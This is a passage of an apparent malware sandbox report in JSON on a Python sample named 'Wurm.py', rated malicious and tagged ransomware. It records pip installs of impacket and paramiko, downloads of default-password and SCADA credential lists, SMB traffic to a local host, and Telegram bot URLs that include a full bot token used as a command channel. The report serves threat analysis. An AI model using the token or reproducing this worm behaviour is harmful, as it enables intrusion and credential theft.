1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl":{"type":"Url","value":"/packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl"},"Url:/packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl.metadata"},"Url:/scadastrangelove/SCADAPASS/master/scadapass.csv":{"type":"Url","value":"/scadastrangelove/SCADAPASS/master/scadapass.csv"},"Url:/simple/bcrypt/":{"type":"Url","value":"/simple/bcrypt/"},"Url:/simple/blinker/":{"type":"Url","value":"/simple/blinker/"},"Url:/simple/click/":{"type":"Url","value":"/simple/click/"},"Url:/simple/cryptography/":{"type":"Url","value":"/simple/cryptography/"},"Url:/simple/dnspython/":{"type":"Url","value":"/simple/dnspython/"},"Url:/simple/flask/":{"type":"Url","value":"/simple/flask/"},"Url:/simple/impacket/":{"type":"Url","value":"/simple/impacket/"},"Url:/simple/invoke/":{"type":"Url","value":"/simple/invoke/"},"Url:/simple/itsdangerous/":{"type":"Url","value":"/simple/itsdangerous/"},"Url:/simple/ldap3/":{"type":"Url","value":"/simple/ldap3/"},"Url:/simple/ldapdomaindump/":{"type":"Url","value":"/simple/ldapdomaindump/"},"Url:/simple/paramiko/":{"type":"Url","value":"/simple/paramiko/"},"Url:/simple/pyasn1-modules/":{"type":"Url","value":"/simple/pyasn1-modules/"},"Url:/simple/pyasn1/":{"type":"Url","value":"/simple/pyasn1/"},"Url:/simple/pycryptodomex/":{"type":"Url","value":"/simple/pycryptodomex/"},"Url:/simple/pyopenssl/":{"type":"Url","value":"/simple/pyopenssl/"},"Url:/simple/werkzeug/":{"type":"Url","value":"/simple/werkzeug/"}},"chains":[{"id":"1570919078204996824","root":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","edges":[],"verdict":{"verdict":"suspicious","verdict_source":"static analysis","reasons":["Associated with known suspicious activity"]}},{"id":"sandbox_network","root":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","edges":[{"edge_kind":"contacted_ip","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Ip:151.101.0.223"},{"edge_kind":"contacted_ip","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Ip:151.101.128.223"},{"edge_kind":"contacted_ip","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Ip:149.154.166.110"},{"edge_kind":"contacted_ip","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Ip:185.199.109.133"},{"edge_kind":"contacted_ip","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Ip:192.168.0.1"},{"edge_kind":"contacted_domain","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Domain:api.telegram.org"},{"edge_kind":"resolves_to","from_key":"Domain:api.telegram.org","to_key":"Ip:149.154.166.110"},{"edge_kind":"contacted_domain","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Domain:files.pythonhosted.org"},{"edge_kind":"resolves_to","from_key":"Domain:files.pythonhosted.org","to_key":"Ip:151.101.0.223"},{"edge_kind":"contacted_domain","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Domain:pypi.org"},{"edge_kind":"resolves_to","from_key":"Domain:pypi.org","to_key":"Ip:151.101.0.223"},{"edge_kind":"contacted_domain","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Domain:raw.githubusercontent.com"},{"edge_kind":"resolves_to","from_key":"Domain:raw.githubusercontent.com","to_key":"Ip:185.199.109.133"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/cryptography/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/paramiko/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/impacket/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/bcrypt/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/invoke/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/pyasn1/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/pyasn1-modules/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/pycryptodomex/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/pyopenssl/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/ldap3/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/ldapdomaindump/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/flask/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/blinker/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/click/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/itsdangerous/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/werkzeug/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/simple/dnspython/"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/1e/0c/5346358b3a20275d256978c35203ddc2c8617f78c1b23795b79ba22ced6d/dnspython-2.9.2-py3-none-any.whl.metadata"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/a1/38/df03f564f43cec2684823f3cccae1a652ee7face1cbaa76fb223096e64d7/werkzeug-3.1.9-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/1e/0c/5346358b3a20275d256978c35203ddc2c8617f78c1b23795b79ba22ced6d/dnspython-2.9.2-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/getUpdates"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/danielmiessler/SecLists/master/Passwords/Default-Credentials/default-passwords.txt"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/scadastrangelove/SCADAPASS/master/scadapass.csv"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"},{"edge_kind":"contacted_url","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"Url:/bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","edges":[{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:c9cf4e39477652fa11b3ebb497ab68e99377a01962e00ff21071ac0518e4a9b4"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:55f58fbd41bacab10a0d3e47dea6243230744ec3990fedc8604514cf2be2557c"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:f52878a2b8787afc21629ef1ae0be5b09272a6fccd10c0d8591904723f1e69ef"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:ee7448cdb3cdfd10176aa059e091d188e07be7fd00b016585956daf8329d874d"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:456ae8f22982de09b369c85ec5a9466dd64e8306877aaadddd8267bee1956ad9"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:3e5349c1209cdd3b90bff6f8b61c0d89aea0f3dbba6ad02ad254b9d3ef2301d0"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:4ccd6bc0a1d174a309c407f540be12ddb56bd3b7e180f8db8771ab43915a586a"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:162666d75297dfcdd0116cbeab134d78fab808b8a66bfa5c1d74832d9b754771"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:de0667ccabc406863eaf85b837898f53b05d2ffa3e9933a5406e08d1e6ec017a"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:9a9e490aed2e1f487ac4af81b07426c4b7a83c091c163f9b54025bd3ac0208df"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:cb4bc5bbf3d8f1f3004d0b1581f5994725dbe02cf8db52a808a84bed038aea94"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:b6dbc01f6849fc4021703ab9b507749d09c6b5ff08e214c9da27a00940464860"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:190aa2bed8f4f1516e89560307863bb5c1b8d7f9b79b9d7cf20110f6cbf45f1c"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:1fbe17feea666a90611ec768d2dae57c2a2ade56acc4caae7fc061d17dafe146"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:20607e0f22eb54ee3a71246377a52f21a6b78a08df01e7ca3947b7095c1daf09"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:3aa7e6bc583c04b62f77455f519b49be6529bf8ef165eb52022b0da7fac9d4ab"},{"edge_kind":"extracted","from_key":"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","to_key":"File:e28c21acb6b7fe37bbf21fc8348f39533ea21b2cd19351189bbeb6b3e16cc40f"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":56,"spawned_processes_count":56,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":100,"imported_dlls_count":139,"dropped_files_count":0,"extracted_files_count":20,"files_written_count":5,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":4,"contacted_urls_count":56,"http_requests_count":56},"behavior_tags":["evasive","ransomware"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6af78664c4061ee514026a77","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["NLD","USA"],"submit_name":"Wurm.py","analysis_start_time":"2026-11-13T21:51:33+00:00","indicators_count":{"informative":194,"suspicious":60,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"151.101.0.223","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"address":"151.101.128.223","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"address":"149.154.166.110","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"address":"185.199.109.133","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"address":"192.168.0.1","port":445,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]}],"dns_resolutions":[{"domain":"api.telegram.org","address":"149.154.166.110","ttl":73,"country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"domain":"files.pythonhosted.org","address":"151.101.0.223","ttl":18847,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"domain":"pypi.org","address":"151.101.0.223","ttl":5719,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"domain":"raw.githubusercontent.com","address":"185.199.109.133","ttl":1302,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]}],"http_requests":[{"host":"pypi.org","host_ip":"151.101.0.223:443","url":"/simple/cryptography/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /simple/cryptography/ HTTP/1.1\nHost: pypi.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: gzip, deflate\nAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"pypi.org","host_ip":"151.101.0.223:443","url":"/simple/paramiko/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /simple/paramiko/ HTTP/1.1\nHost: pypi.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: gzip, deflate\nAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"files.pythonhosted.org","host_ip":"151.101.128.223:443","url":"/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata HTTP/1.1\nHost: files.pythonhosted.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: identity\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"host":"pypi.org","host_ip":"151.101.0.223:443","url":"/simple/impacket/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /simple/impacket/ HTTP/1.1\nHost: pypi.org\nUser-Agent: pip/26.2.1 {\"ci\":null,\"cpu\":\"AMD64\",\"implementation\":{\"name\":\"CPython\",\"version\":\"3.11.0\"},\"installer\":{\"name\":\"pip\",\"version\":\"26.2.1\"},\"openssl_version\":\"OpenSSL 1.1.1q 5 Jul 2022\",\"python\":\"3.11.0\",\"setuptools_version\":\"80.10.2\",\"system\":{\"name\":\"Windows\",\"release\":\"10\"}}\nAccept-Encoding: gzip, deflate\nAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01\nConnection: 